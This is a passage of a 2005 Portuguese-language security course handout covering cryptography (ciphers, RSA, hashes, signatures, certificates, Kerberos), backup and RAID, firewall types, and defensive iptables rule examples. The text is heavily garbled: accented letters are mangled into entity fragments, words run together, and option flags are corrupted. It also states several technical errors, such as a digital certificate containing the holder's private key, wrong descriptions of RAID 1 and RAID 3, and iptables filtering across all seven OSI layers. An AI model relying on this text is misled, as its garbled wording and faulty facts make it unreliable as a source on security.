cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

